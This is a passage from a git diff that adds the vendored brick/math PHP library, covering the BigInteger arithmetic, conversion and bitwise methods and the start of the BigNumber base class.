result will be the same in any base, avoid further calculation. + return new BigInteger($sign . '1'); + } + + $pattern = '/[^' . \substr(Calculator::ALPHABET, 0, $base) . ']/'; + + if (\preg_match($pattern, \strtolower($number), $matches) === 1) { + throw new NumberFormatException(\sprintf('"%s" is not a valid character in base %d.', $matches[0], $base)); + } + + if ($base === 10) { + // The number is usable as is, avoid further calculation. + return new BigInteger($sign . $number); + } + + $result = Calculator::get()->fromBase($number, $base); + + return new BigInteger($sign . $result); + } + + /** + * Parses a string containing an integer in an arbitrary base, using a custom alphabet. + * + * Because this method accepts an alphabet with any character, including dash, it does not handle negative numbers. + * + * @param string $number The number to parse. + * @param string $alphabet The alphabet, for example '01' for base 2, or '01234567' for base 8. + * + * @return BigInteger + * + * @throws NumberFormatException If the given number is empty or contains invalid chars for the given alphabet. + * @throws \InvalidArgumentException If the alphabet does not contain at least 2 chars. + * + * @psalm-pure + */ + public static function fromArbitraryBase(string $number, string $alphabet) : BigInteger + { + if ($number === '') { + throw new NumberFormatException('The number cannot be empty.'); + } + + $base = \strlen($alphabet); + + if ($base < 2) { + throw new \InvalidArgumentException('The alphabet must contain at least 2 chars.'); + } + + $pattern = '/[^' . \preg_quote($alphabet, '/') . ']/'; + + if (\preg_match($pattern, $number, $matches) === 1) { + throw NumberFormatException::charNotInAlphabet($matches[0]); + } + + $number = Calculator::get()->fromArbitraryBase($number, $alphabet, $base); + + return new BigInteger($number); + } + + /** + * Translates a string of bytes containing the binary representation of a BigInteger into a BigInteger. + * + * The input string is assumed to be in big-endian byte-order: the most significant byte is in the zeroth element. + * + * If `$signed` is true, the input is assumed to be in two's-complement representation, and the leading bit is + * interpreted as a sign bit. If `$signed` is false, the input is interpreted as an unsigned number, and the + * resulting BigInteger will always be positive or zero. + * + * This method can be used to retrieve a number exported by `toBytes()`, as long as the `$signed` flags match. + * + * @param string $value The byte string. + * @param bool $signed Whether to interpret as a signed number in two's-complement representation with a leading + * sign bit. + * + * @return BigInteger + * + * @throws NumberFormatException If the string is empty. + */ + public static function fromBytes(string $value, bool $signed = true) : BigInteger + { + if ($value === '') { + throw new NumberFormatException('The byte string must not be empty.'); + } + + $twosComplement = false; + + if ($signed) { + $x = \ord($value[0]); + + if (($twosComplement = ($x >= 0x80))) { + $value = ~$value; + } + } + + $number = self::fromBase(\bin2hex($value), 16); + + if ($twosComplement) { + return $number->plus(1)->negated(); + } + + return $number; + } + + /** + * Generates a pseudo-random number in the range 0 to 2^numBits - 1. + * + * Using the default random bytes generator, this method is suitable for cryptographic use. + * + * @psalm-param callable(int): string $randomBytesGenerator + * + * @param int $numBits The number of bits. + * @param callable|null $randomBytesGenerator A function that accepts a number of bytes as an integer, and returns a + * string of random bytes of the given length. Defaults to the + * `random_bytes()` function. + * + * @return BigInteger + * + * @throws \InvalidArgumentException If $numBits is negative. + */ + public static function randomBits(int $numBits, ?callable $randomBytesGenerator = null) : BigInteger + { + if ($numBits < 0) { + throw new \InvalidArgumentException('The number of bits cannot be negative.'); + } + + if ($numBits === 0) { + return BigInteger::zero(); + } + + if ($randomBytesGenerator === null) { + $randomBytesGenerator = 'random_bytes'; + } + + $byteLength = \intdiv($numBits - 1, 8) + 1; + + $extraBits = ($byteLength * 8 - $numBits); + $bitmask = \chr(0xFF >> $extraBits); + + $randomBytes = $randomBytesGenerator($byteLength); + $randomBytes[0] = $randomBytes[0] & $bitmask; + + return self::fromBytes($randomBytes, false); + } + + /** + * Generates a pseudo-random number between `$min` and `$max`. + * + * Using the default random bytes generator, this method is suitable for cryptographic use. + * + * @psalm-param (callable(int): string)|null $randomBytesGenerator + * + * @param BigNumber|int|float|string $min The lower bound. Must be convertible to a BigInteger. + * @param BigNumber|int|float|string $max The upper bound. Must be convertible to a BigInteger. + * @param callable|null $randomBytesGenerator A function that accepts a number of bytes as an integer, + * and returns a string of random bytes of the given length. + * Defaults to the `random_bytes()` function. + * + * @return BigInteger + * + * @throws MathException If one of the parameters cannot be converted to a BigInteger, + * or `$min` is greater than `$max`. + */ + public static function randomRange($min, $max, ?callable $randomBytesGenerator = null) : BigInteger + { + $min = BigInteger::of($min); + $max = BigInteger::of($max); + + if ($min->isGreaterThan($max)) { + throw new MathException('$min cannot be greater than $max.'); + } + + if ($min->isEqualTo($max)) { + return $min; + } + + $diff = $max->minus($min); + $bitLength = $diff->getBitLength(); + + // try until the number is in range (50% to 100% chance of success) + do { + $randomNumber = self::randomBits($bitLength, $randomBytesGenerator); + } while ($randomNumber->isGreaterThan($diff)); + + return $randomNumber->plus($min); + } + + /** + * Returns a BigInteger representing zero. + * + * @return BigInteger + * + * @psalm-pure + */ + public static function zero() : BigInteger + { + /** + * @psalm-suppress ImpureStaticVariable + * @var BigInteger|null $zero + */ + static $zero; + + if ($zero === null) { + $zero = new BigInteger('0'); + } + + return $zero; + } + + /** + * Returns a BigInteger representing one. + * + * @return BigInteger + * + * @psalm-pure + */ + public static function one() : BigInteger + { + /** + * @psalm-suppress ImpureStaticVariable + * @var BigInteger|null $one + */ + static $one; + + if ($one === null) { + $one = new BigInteger('1'); + } + + return $one; + } + + /** + * Returns a BigInteger representing ten. + * + * @return BigInteger + * + * @psalm-pure + */ + public static function ten() : BigInteger + { + /** + * @psalm-suppress ImpureStaticVariable + * @var BigInteger|null $ten + */ + static $ten; + + if ($ten === null) { + $ten = new BigInteger('10'); + } + + return $ten; + } + + /** + * Returns the sum of this number and the given one. + * + * @param BigNumber|int|float|string $that The number to add. Must be convertible to a BigInteger. + * + * @return BigInteger The result. + * + * @throws MathException If the number is not valid, or is not convertible to a BigInteger. + */ + public function plus($that) : BigInteger + { + $that = BigInteger::of($that); + + if ($that->value === '0') { + return $this; + } + + if ($this->value === '0') { + return $that; + } + + $value = Calculator::get()->add($this->value, $that->value); + + return new BigInteger($value); + } + + /** + * Returns the difference of this number and the given one. + * + * @param BigNumber|int|float|string $that The number to subtract. Must be convertible to a BigInteger. + * + * @return BigInteger The result. + * + * @throws MathException If the number is not valid, or is not convertible to a BigInteger. + */ + public function minus($that) : BigInteger + { + $that = BigInteger::of($that); + + if ($that->value === '0') { + return $this; + } + + $value = Calculator::get()->sub($this->value, $that->value); + + return new BigInteger($value); + } + + /** + * Returns the product of this number and the given one. + * + * @param BigNumber|int|float|string $that The multiplier. Must be convertible to a BigInteger. + * + * @return BigInteger The result. + * + * @throws MathException If the multiplier is not a valid number, or is not convertible to a BigInteger. + */ + public function multipliedBy($that) : BigInteger + { + $that = BigInteger::of($that); + + if ($that->value === '1') { + return $this; + } + + if ($this->value === '1') { + return $that; + } + + $value = Calculator::get()->mul($this->value, $that->value); + + return new BigInteger($value); + } + + /** + * Returns the result of the division of this number by the given one. + * + * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigInteger. + * @param int $roundingMode An optional rounding mode. + * + * @return BigInteger The result. + * + * @throws MathException If the divisor is not a valid number, is not convertible to a BigInteger, is zero, + * or RoundingMode::UNNECESSARY is used and the remainder is not zero. + */ + public function dividedBy($that, int $roundingMode = RoundingMode::UNNECESSARY) : BigInteger + { + $that = BigInteger::of($that); + + if ($that->value === '1') { + return $this; + } + + if ($that->value === '0') { + throw DivisionByZeroException::divisionByZero(); + } + + $result = Calculator::get()->divRound($this->value, $that->value, $roundingMode); + + return new BigInteger($result); + } + + /** + * Returns this number exponentiated to the given value. + * + * @param int $exponent The exponent. + * + * @return BigInteger The result. + * + * @throws \InvalidArgumentException If the exponent is not in the range 0 to 1,000,000. + */ + public function power(int $exponent) : BigInteger + { + if ($exponent === 0) { + return BigInteger::one(); + } + + if ($exponent === 1) { + return $this; + } + + if ($exponent < 0 || $exponent > Calculator::MAX_POWER) { + throw new \InvalidArgumentException(\sprintf( + 'The exponent %d is not in the range 0 to %d.', + $exponent, + Calculator::MAX_POWER + )); + } + + return new BigInteger(Calculator::get()->pow($this->value, $exponent)); + } + + /** + * Returns the quotient of the division of this number by the given one. + * + * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigInteger. + * + * @return BigInteger + * + * @throws DivisionByZeroException If the divisor is zero. + */ + public function quotient($that) : BigInteger + { + $that = BigInteger::of($that); + + if ($that->value === '1') { + return $this; + } + + if ($that->value === '0') { + throw DivisionByZeroException::divisionByZero(); + } + + $quotient = Calculator::get()->divQ($this->value, $that->value); + + return new BigInteger($quotient); + } + + /** + * Returns the remainder of the division of this number by the given one. + * + * The remainder, when non-zero, has the same sign as the dividend. + * + * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigInteger. + * + * @return BigInteger + * + * @throws DivisionByZeroException If the divisor is zero. + */ + public function remainder($that) : BigInteger + { + $that = BigInteger::of($that); + + if ($that->value === '1') { + return BigInteger::zero(); + } + + if ($that->value === '0') { + throw DivisionByZeroException::divisionByZero(); + } + + $remainder = Calculator::get()->divR($this->value, $that->value); + + return new BigInteger($remainder); + } + + /** + * Returns the quotient and remainder of the division of this number by the given one. + * + * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigInteger. + * + * @return BigInteger[] An array containing the quotient and the remainder. + * + * @throws DivisionByZeroException If the divisor is zero. + */ + public function quotientAndRemainder($that) : array + { + $that = BigInteger::of($that); + + if ($that->value === '0') { + throw DivisionByZeroException::divisionByZero(); + } + + [$quotient, $remainder] = Calculator::get()->divQR($this->value, $that->value); + + return [ + new BigInteger($quotient), + new BigInteger($remainder) + ]; + } + + /** + * Returns the modulo of this number and the given one. + * + * The modulo operation yields the same result as the remainder operation when both operands are of the same sign, + * and may differ when signs are different. + * + * The result of the modulo operation, when non-zero, has the same sign as the divisor. + * + * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigInteger. + * + * @return BigInteger + * + * @throws DivisionByZeroException If the divisor is zero. + */ + public function mod($that) : BigInteger + { + $that = BigInteger::of($that); + + if ($that->value === '0') { + throw DivisionByZeroException::modulusMustNotBeZero(); + } + + $value = Calculator::get()->mod($this->value, $that->value); + + return new BigInteger($value); + } + + /** + * Returns the modular multiplicative inverse of this BigInteger modulo $m. + * + * @param BigInteger $m + * + * @return BigInteger + * + * @throws DivisionByZeroException If $m is zero. + * @throws NegativeNumberException If $m is negative. + * @throws MathException If this BigInteger has no multiplicative inverse mod m (that is, this BigInteger + * is not relatively prime to m). + */ + public function modInverse(BigInteger $m) : BigInteger + { + if ($m->value === '0') { + throw DivisionByZeroException::modulusMustNotBeZero(); + } + + if ($m->isNegative()) { + throw new NegativeNumberException('Modulus must not be negative.'); + } + + if ($m->value === '1') { + return BigInteger::zero(); + } + + $value = Calculator::get()->modInverse($this->value, $m->value); + + if ($value === null) { + throw new MathException('Unable to compute the modInverse for the given modulus.'); + } + + return new BigInteger($value); + } + + /** + * Returns this number raised into power with modulo. + * + * This operation only works on positive numbers. + * + * @param BigNumber|int|float|string $exp The exponent. Must be positive or zero. + * @param BigNumber|int|float|string $mod The modulus. Must be strictly positive. + * + * @return BigInteger + * + * @throws NegativeNumberException If any of the operands is negative. + * @throws DivisionByZeroException If the modulus is zero. + */ + public function modPow($exp, $mod) : BigInteger + { + $exp = BigInteger::of($exp); + $mod = BigInteger::of($mod); + + if ($this->isNegative() || $exp->isNegative() || $mod->isNegative()) { + throw new NegativeNumberException('The operands cannot be negative.'); + } + + if ($mod->isZero()) { + throw DivisionByZeroException::modulusMustNotBeZero(); + } + + $result = Calculator::get()->modPow($this->value, $exp->value, $mod->value); + + return new BigInteger($result); + } + + /** + * Returns the greatest common divisor of this number and the given one. + * + * The GCD is always positive, unless both operands are zero, in which case it is zero. + * + * @param BigNumber|int|float|string $that The operand. Must be convertible to an integer number. + * + * @return BigInteger + */ + public function gcd($that) : BigInteger + { + $that = BigInteger::of($that); + + if ($that->value === '0' && $this->value[0] !== '-') { + return $this; + } + + if ($this->value === '0' && $that->value[0] !== '-') { + return $that; + } + + $value = Calculator::get()->gcd($this->value, $that->value); + + return new BigInteger($value); + } + + /** + * Returns the integer square root number of this number, rounded down. + * + * The result is the largest x such that x² ≤ n. + * + * @return BigInteger + * + * @throws NegativeNumberException If this number is negative. + */ + public function sqrt() : BigInteger + { + if ($this->value[0] === '-') { + throw new NegativeNumberException('Cannot calculate the square root of a negative number.'); + } + + $value = Calculator::get()->sqrt($this->value); + + return new BigInteger($value); + } + + /** + * Returns the absolute value of this number. + * + * @return BigInteger + */ + public function abs() : BigInteger + { + return $this->isNegative() ? $this->negated() : $this; + } + + /** + * Returns the inverse of this number. + * + * @return BigInteger + */ + public function negated() : BigInteger + { + return new BigInteger(Calculator::get()->neg($this->value)); + } + + /** + * Returns the integer bitwise-and combined with another integer. + * + * This method returns a negative BigInteger if and only if both operands are negative. + * + * @param BigNumber|int|float|string $that The operand. Must be convertible to an integer number. + * + * @return BigInteger + */ + public function and($that) : BigInteger + { + $that = BigInteger::of($that); + + return new BigInteger(Calculator::get()->and($this->value, $that->value)); + } + + /** + * Returns the integer bitwise-or combined with another integer. + * + * This method returns a negative BigInteger if and only if either of the operands is negative. + * + * @param BigNumber|int|float|string $that The operand. Must be convertible to an integer number. + * + * @return BigInteger + */ + public function or($that) : BigInteger + { + $that = BigInteger::of($that); + + return new BigInteger(Calculator::get()->or($this->value, $that->value)); + } + + /** + * Returns the integer bitwise-xor combined with another integer. + * + * This method returns a negative BigInteger if and only if exactly one of the operands is negative. + * + * @param BigNumber|int|float|string $that The operand. Must be convertible to an integer number. + * + * @return BigInteger + */ + public function xor($that) : BigInteger + { + $that = BigInteger::of($that); + + return new BigInteger(Calculator::get()->xor($this->value, $that->value)); + } + + /** + * Returns the bitwise-not of this BigInteger. + * + * @return BigInteger + */ + public function not() : BigInteger + { + return $this->negated()->minus(1); + } + + /** + * Returns the integer left shifted by a given number of bits. + * + * @param int $distance The distance to shift. + * + * @return BigInteger + */ + public function shiftedLeft(int $distance) : BigInteger + { + if ($distance === 0) { + return $this; + } + + if ($distance < 0) { + return $this->shiftedRight(- $distance); + } + + return $this->multipliedBy(BigInteger::of(2)->power($distance)); + } + + /** + * Returns the integer right shifted by a given number of bits. + * + * @param int $distance The distance to shift. + * + * @return BigInteger + */ + public function shiftedRight(int $distance) : BigInteger + { + if ($distance === 0) { + return $this; + } + + if ($distance < 0) { + return $this->shiftedLeft(- $distance); + } + + $operand = BigInteger::of(2)->power($distance); + + if ($this->isPositiveOrZero()) { + return $this->quotient($operand); + } + + return $this->dividedBy($operand, RoundingMode::UP); + } + + /** + * Returns the number of bits in the minimal two's-complement representation of this BigInteger, excluding a sign bit. + * + * For positive BigIntegers, this is equivalent to the number of bits in the ordinary binary representation. + * Computes (ceil(log2(this < 0 ? -this : this+1))). + * + * @return int + */ + public function getBitLength() : int + { + if ($this->value === '0') { + return 0; + } + + if ($this->isNegative()) { + return $this->abs()->minus(1)->getBitLength(); + } + + return \strlen($this->toBase(2)); + } + + /** + * Returns the index of the rightmost (lowest-order) one bit in this BigInteger. + * + * Returns -1 if this BigInteger contains no one bits. + * + * @return int + */ + public function getLowestSetBit() : int + { + $n = $this; + $bitLength = $this->getBitLength(); + + for ($i = 0; $i <= $bitLength; $i++) { + if ($n->isOdd()) { + return $i; + } + + $n = $n->shiftedRight(1); + } + + return -1; + } + + /** + * Returns whether this number is even. + * + * @return bool + */ + public function isEven() : bool + { + return \in_array($this->value[-1], ['0', '2', '4', '6', '8'], true); + } + + /** + * Returns whether this number is odd. + * + * @return bool + */ + public function isOdd() : bool + { + return \in_array($this->value[-1], ['1', '3', '5', '7', '9'], true); + } + + /** + * Returns true if and only if the designated bit is set. + * + * Computes ((this & (1<shiftedRight($n)->isOdd(); + } + + /** + * {@inheritdoc} + */ + public function compareTo($that) : int + { + $that = BigNumber::of($that); + + if ($that instanceof BigInteger) { + return Calculator::get()->cmp($this->value, $that->value); + } + + return - $that->compareTo($this); + } + + /** + * {@inheritdoc} + */ + public function getSign() : int + { + return ($this->value === '0') ? 0 : (($this->value[0] === '-') ? -1 : 1); + } + + /** + * {@inheritdoc} + */ + public function toBigInteger() : BigInteger + { + return $this; + } + + /** + * {@inheritdoc} + */ + public function toBigDecimal() : BigDecimal + { + return BigDecimal::create($this->value); + } + + /** + * {@inheritdoc} + */ + public function toBigRational() : BigRational + { + return BigRational::create($this, BigInteger::one(), false); + } + + /** + * {@inheritdoc} + */ + public function toScale(int $scale, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal + { + return $this->toBigDecimal()->toScale($scale, $roundingMode); + } + + /** + * {@inheritdoc} + */ + public function toInt() : int + { + $intValue = (int) $this->value; + + if ($this->value !== (string) $intValue) { + throw IntegerOverflowException::toIntOverflow($this); + } + + return $intValue; + } + + /** + * {@inheritdoc} + */ + public function toFloat() : float + { + return (float) $this->value; + } + + /** + * Returns a string representation of this number in the given base. + * + * The output will always be lowercase for bases greater than 10. + * + * @param int $base + * + * @return string + * + * @throws \InvalidArgumentException If the base is out of range. + */ + public function toBase(int $base) : string + { + if ($base === 10) { + return $this->value; + } + + if ($base < 2 || $base > 36) { + throw new \InvalidArgumentException(\sprintf('Base %d is out of range [2, 36]', $base)); + } + + return Calculator::get()->toBase($this->value, $base); + } + + /** + * Returns a string representation of this number in an arbitrary base with a custom alphabet. + * + * Because this method accepts an alphabet with any character, including dash, it does not handle negative numbers; + * a NegativeNumberException will be thrown when attempting to call this method on a negative number. + * + * @param string $alphabet The alphabet, for example '01' for base 2, or '01234567' for base 8. + * + * @return string + * + * @throws NegativeNumberException If this number is negative. + * @throws \InvalidArgumentException If the given alphabet does not contain at least 2 chars. + */ + public function toArbitraryBase(string $alphabet) : string + { + $base = \strlen($alphabet); + + if ($base < 2) { + throw new \InvalidArgumentException('The alphabet must contain at least 2 chars.'); + } + + if ($this->value[0] === '-') { + throw new NegativeNumberException(__FUNCTION__ . '() does not support negative numbers.'); + } + + return Calculator::get()->toArbitraryBase($this->value, $alphabet, $base); + } + + /** + * Returns a string of bytes containing the binary representation of this BigInteger. + * + * The string is in big-endian byte-order: the most significant byte is in the zeroth element. + * + * If `$signed` is true, the output will be in two's-complement representation, and a sign bit will be prepended to + * the output. If `$signed` is false, no sign bit will be prepended, and this method will throw an exception if the + * number is negative. + * + * The string will contain the minimum number of bytes required to represent this BigInteger, including a sign bit + * if `$signed` is true. + * + * This representation is compatible with the `fromBytes()` factory method, as long as the `$signed` flags match. + * + * @param bool $signed Whether to output a signed number in two's-complement representation with a leading sign bit. + * + * @return string + * + * @throws NegativeNumberException If $signed is false, and the number is negative. + */ + public function toBytes(bool $signed = true) : string + { + if (! $signed && $this->isNegative()) { + throw new NegativeNumberException('Cannot convert a negative number to a byte string when $signed is false.'); + } + + $hex = $this->abs()->toBase(16); + + if (\strlen($hex) % 2 !== 0) { + $hex = '0' . $hex; + } + + $baseHexLength = \strlen($hex); + + if ($signed) { + if ($this->isNegative()) { + $bin = \hex2bin($hex); + assert($bin !== false); + + $hex = \bin2hex(~$bin); + $hex = self::fromBase($hex, 16)->plus(1)->toBase(16); + + $hexLength = \strlen($hex); + + if ($hexLength < $baseHexLength) { + $hex = \str_repeat('0', $baseHexLength - $hexLength) . $hex; + } + + if ($hex[0] < '8') { + $hex = 'FF' . $hex; + } + } else { + if ($hex[0] >= '8') { + $hex = '00' . $hex; + } + } + } + + return \hex2bin($hex); + } + + /** + * {@inheritdoc} + */ + public function __toString() : string + { + return $this->value; + } + + /** + * This method is required for serializing the object and SHOULD NOT be accessed directly. + * + * @internal + * + * @return array{value: string} + */ + public function __serialize(): array + { + return ['value' => $this->value]; + } + + /** + * This method is only here to allow unserializing the object and cannot be accessed directly. + * + * @internal + * @psalm-suppress RedundantPropertyInitializationCheck + * + * @param array{value: string} $data + * + * @return void + * + * @throws \LogicException + */ + public function __unserialize(array $data): void + { + if (isset($this->value)) { + throw new \LogicException('__unserialize() is an internal function, it must not be called directly.'); + } + + $this->value = $data['value']; + } + + /** + * This method is required by interface Serializable and SHOULD NOT be accessed directly. + * + * @internal + * + * @return string + */ + public function serialize() : string + { + return $this->value; + } + + /** + * This method is only here to implement interface Serializable and cannot be accessed directly. + * + * @internal + * @psalm-suppress RedundantPropertyInitializationCheck + * + * @param string $value + * + * @return void + * + * @throws \LogicException + */ + public function unserialize($value) : void + { + if (isset($this->value)) { + throw new \LogicException('unserialize() is an internal function, it must not be called directly.'); + } + + $this->value = $value; + } +} diff --git a/vendor/brick/math/src/BigNumber.php b/vendor/brick/math/src/BigNumber.php new file mode 100644 index 000000000..38c8c554e --- /dev/null +++ b/vendor/brick/math/src/BigNumber.php @@ -0,0 +1,572 @@ +[\-\+])?' . + '(?:' . + '(?:' . + '(?[0-9]+)?' . + '(?\.)?' . + '(?[0-9]+)?' . + '(?:[eE](?[\-\+]?[0-9]+))?' . + ')|(?:' . + '(?[0-9]+)' . + '\/?' . + '(?[0-9]+)' . + ')' . + ')' . + '$/'; + + /** + * Creates a BigNumber of the given value. + * + * The concrete return type is dependent on the given value, with the following rules: + * + * - BigNumber instances are returned as is + * - integer numbers are returned as BigInteger + * - floating point numbers are converted to a string then parsed as such + * - strings containing a `/` character are returned as BigRational + * - strings containing a `.` character or using an exponential notation are returned as BigDecimal + * - strings containing only digits with an optional leading `+` or `-` sign are returned as BigInteger + * + * @param BigNumber|int|float|string $value + * + * @return BigNumber + * + * @throws NumberFormatException If the format of the number is not valid. + * @throws DivisionByZeroException If the value represents a rational number with a denominator of zero. + * + * @psalm-pure + */ + public static function of($value) : BigNumber + { + if ($value instanceof BigNumber) { + return $value; + } + + if (\is_int($value)) { + return new BigInteger((string) $value); + } + + /** @psalm-suppress RedundantCastGivenDocblockType We cannot trust the untyped $value here! */ + $value = \is_float($value) ? self::floatToString($value) : (string) $value; + + $throw = static function() use ($value) : void { + throw new NumberFormatException(\sprintf( + 'The given value "%s" does not represent a valid number.', + $value + )); + }; + + if (\preg_match(self::PARSE_REGEXP, $value, $matches) !== 1) { + $throw(); + } + + $getMatch = static function(string $value) use ($matches) : ?string { + return isset($matches[$value]) && $matches[$value] !== '' ? $matches[$value] : null; + }; + + $sign = $getMatch('sign'); + $numerator = $getMatch('numerator'); + $denominator = $getMatch('denominator'); + + if ($numerator !== null) { + assert($denominator !== null); + + if ($sign !== null) { + $numerator = $sign . $numerator; + } + + $numerator = self::cleanUp($numerator); + $denominator = self::cleanUp($denominator); + + if ($denominator === '0') { + throw DivisionByZeroException::denominatorMustNotBeZero(); + } + + return new BigRational( + new BigInteger($numerator), + new BigInteger($denominator), + false + ); + } + + $point = $getMatch('point'); + $integral = $getMatch('integral'); + $fractional = $getMatch('fractional'); + $exponent = $getMatch('exponent'); + + if ($integral === null && $fractional === null) { + $throw(); + } + + if ($integral === null) { + $integral = '0'; + } + + if ($point !== null || $exponent !== null) { + $fractional = ($fractional ?? ''); + $exponent = ($exponent !== null) ? (int) $exponent : 0; + + if ($exponent === PHP_INT_MIN || $exponent === PHP_INT_MAX) { + throw new NumberFormatException('Exponent too large.'); + } + + $unscaledValue = self::cleanUp(($sign ?? ''). $integral . $fractional); + + $scale = \strlen($fractional) - $exponent; + + if ($scale < 0) { + if ($unscaledValue !== '0') { + $unscaledValue .= \str_repeat('0', - $scale); + } + $scale = 0; + } + + return new BigDecimal($unscaledValue, $scale); + } + + $integral = self::cleanUp(($sign ?? '') . $integral); + + return new BigInteger($integral); + } + + /** + * Safely converts float to string, avoiding locale-dependent issues. + * + * @see https://github.com/brick/math/pull/20 + * + * @param float $float + * + * @return string + * + * @psalm-pure + * @psalm-suppress ImpureFunctionCall + */ + private static function floatToString(float $float) : string + { + $currentLocale = \setlocale(LC_NUMERIC, '0'); + \setlocale(LC_NUMERIC, 'C'); + + $result = (string) $float; + + \setlocale(LC_NUMERIC, $currentLocale); + + return $result; + } + + /** + * Proxy method to access protected constructors from sibling classes. + * + * @internal + * + * @param mixed ...$args The arguments to the constructor. + * + * @return static + * + * @psalm-pure + * @psalm-suppress TooManyArguments + * @psalm-suppress UnsafeInstantiation + */ + protected static function create(... $args) : BigNumber + { + return new static(... $args); + } + + /** + * Returns the minimum of the given values. + * + * @param BigNumber|int|float|string ...$values The numbers to compare. All the numbers need to be convertible + * to an instance of the class this method is called on. + * + * @return static The minimum value. + * + * @throws \InvalidArgumentException If no values are given. + * @throws MathException If an argument is not valid. + * + * @psalm-suppress LessSpecificReturnStatement + * @psalm-suppress MoreSpecificReturnType + * @psalm-pure + */ + public static function min(...$values) : BigNumber + { + $min = null; + + foreach ($values as $value) { + $value = static::of($value); + + if ($min === null || $value->isLessThan($min)) { + $min = $value; + } + } + + if ($min === null) { + throw new \InvalidArgumentException(__METHOD__ . '() expects at least one value.'); + } + + return $min; + } + + /** + * Returns the maximum of the given values. + * + * @param BigNumber|int|float|string ...$values The numbers to compare. All the numbers need to be convertible + * to an instance of the class this method is called on. + * + * @return static The maximum value. + * + * @throws \InvalidArgumentException If no values are given. + * @throws MathException If an argument is not valid. + * + * @psalm-suppress LessSpecificReturnStatement + * @psalm-suppress MoreSpecificReturnType + * @psalm-pure + */ + public static function max(...$values) : BigNumber + { + $max = null; + + foreach ($values as $value) { + $value = static::of($value); + + if ($max === null || $value->isGreaterThan($max)) { + $max = $value; + } + } + + if ($max === null) { + throw new \InvalidArgumentException(__METHOD__ . '() expects at least one value.'); + } + + return $max; + } + + /** + * Returns the sum of the given values. + * + * @param BigNumber|int|float|string ...$values The numbers to add. All the numbers need to be convertible + * to an instance of the class this method is called on. + * + * @return static The sum. + * + * @throws \InvalidArgumentException If no values are given. + * @throws MathException If an argument is not valid. + * + * @psalm-suppress LessSpecificReturnStatement + * @psalm-suppress MoreSpecificReturnType + * @psalm-pure + */ + public static function sum(...$values) : BigNumber + { + /** @var BigNumber|null $sum */ + $sum = null; + + foreach ($values as $value) { + $value = static::of($value); + + $sum = $sum === null ? $value : self::add($sum, $value); + } + + if ($sum === null) { + throw new \InvalidArgumentException(__METHOD__ . '() expects at least one value.'); + } + + return $sum; + } + + /** + * Adds two BigNumber instances in the correct order to avoid a RoundingNecessaryException. + * + * @todo This could be better resolved by creating an abstract protected method in BigNumber, and leaving to + * concrete classes the responsibility to perform the addition themselves or delegate it to the given number, + * depending on their ability to perform the operation. This will also require a version bump because we're + * potentially breaking custom BigNumber implementations (if any...) + * + * @param BigNumber $a + * @param BigNumber $b + * + * @return BigNumber + * + * @psalm-pure + */ + private static function add(BigNumber $a, BigNumber $b) : BigNumber + { + if ($a instanceof BigRational) { + return $a->plus($b); + } + + if ($b instanceof BigRational) { + return $b->plus($a); + } + + if ($a instanceof BigDecimal) { + return $a->plus($b); + } + + if ($b instanceof BigDecimal) { + return $b->plus($a); + } + + /** @var BigInteger $a */ + + return $a->plus($b); + } + + /** + * Removes optional leading zeros and + sign from the given number. + * + * @param string $number The number, validated as a non-empty string of digits with optional leading sign. + * + * @return string + * + * @psalm-pure + */ + private static function cleanUp(string $number) : string + { + $firstChar = $number[0]; + + if ($firstChar === '+' || $firstChar === '-') { + $number = \substr($number, 1); + } + + $number = \ltrim($number, '0'); + + if ($number === '') { + return '0'; + } + + if ($firstChar === '-') { + return '-' . $number; + } + + return $number; + } + + /** + * Checks if this number is equal to the given one. + * + * @param BigNumber|int|float|string $that + * + * @return bool + */ + public function isEqualTo($that) : bool + { + return $this->compareTo($that) === 0; + } + + /** + * Checks if this number is strictly lower than the given one. + * + * @param BigNumber|int|float|string $that + * + * @return bool + */ + public function isLessThan($that) : bool + { + return $this->compareTo($that) < 0; + } + + /** + * Checks if this number is lower than or equal to the given one. + * + * @param BigNumber|int|float|string $that + * + * @return bool + */ + public function isLessThanOrEqualTo($that) : bool + { + return $this->compareTo($that) <= 0; + } + + /** + * Checks if this number is strictly greater than the given one. + * + * @param BigNumber|int|float|string $that + * + * @return bool + */ + public function isGreaterThan($that) : bool + { + return $this->compareTo($that) > 0; + } + + /** + * Checks if this number is greater than or equal to the given one. + * + * @param BigNumber|int|float|string $that + * + * @return bool + */ + public function isGreaterThanOrEqualTo($that) : bool + { + return $this->compareTo($that) >= 0; + } + + /** + * Checks if this number equals zero. + * + * @return bool + */ + public function isZero() : bool + { + return $this->getSign() === 0; + } + + /** + * Checks if this number is strictly negative. + * + * @return bool + */ + public function isNegative() : bool + { + return $this->getSign() < 0; + } + + /** + * Checks if this number is negative or zero. + * + * @return bool + */ + public function isNegativeOrZero() : bool + { + return $this->getSign() <= 0; + } + + /** + * Checks if this number is strictly positive. + * + * @return bool + */ + public function isPositive() : bool + { + return $this->getSign() > 0; + } + + /** + * Checks if this number is positive or zero. + * + * @return bool + */ + public function isPositiveOrZero() : bool + { + return $this->getSign() >= 0; + } + + /** + * Returns the sign of this number. + * + * @return int -1 if the number is negative, 0 if zero, 1 if positive. + */ + abstract public function getSign() : int; + + /** + * Compares this number to the given one. + * + * @param BigNumber|int|float|string $that + * + * @return int [-1,0,1] If `$this` is lower than, equal to, or greater than `$that`. + * + * @throws MathException If the number is not valid. + */ + abstract public function compareTo($that) : int; + + /** + * Converts this number to a BigInteger. + * + * @return BigInteger The converted number. + * + * @throws RoundingNecessaryException If this number cannot be converted to a BigInteger without rounding. + */ + abstract public function toBigInteger() : BigInteger; + + /** + * Converts this number to a BigDecimal. + * + * @return BigDecimal The converted number. + * + * @throws RoundingNecessaryException If this number cannot be converted to a BigDecimal without rounding. + */ + abstract public function toBigDecimal() : BigDecimal; + + /** + * Converts this number to a BigRational. + * + * @return BigRational The converted number. + */ + abstract public function toBigRational() : BigRational; + + /** + * Converts this number to a BigDecimal with the given scale, using rounding if necessary. + * + * @param int $scale The scale of the resulting `BigDecimal`. + * @param int $roundingMode A `RoundingMode` constant. + * + * @return BigDecimal + * + * @throws RoundingNecessaryException If this number cannot be converted to the given scale without rounding. + * This only applies when RoundingMode::UNNECESSARY is used. + */ + abstract public function toScale(int $scale, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal; + + 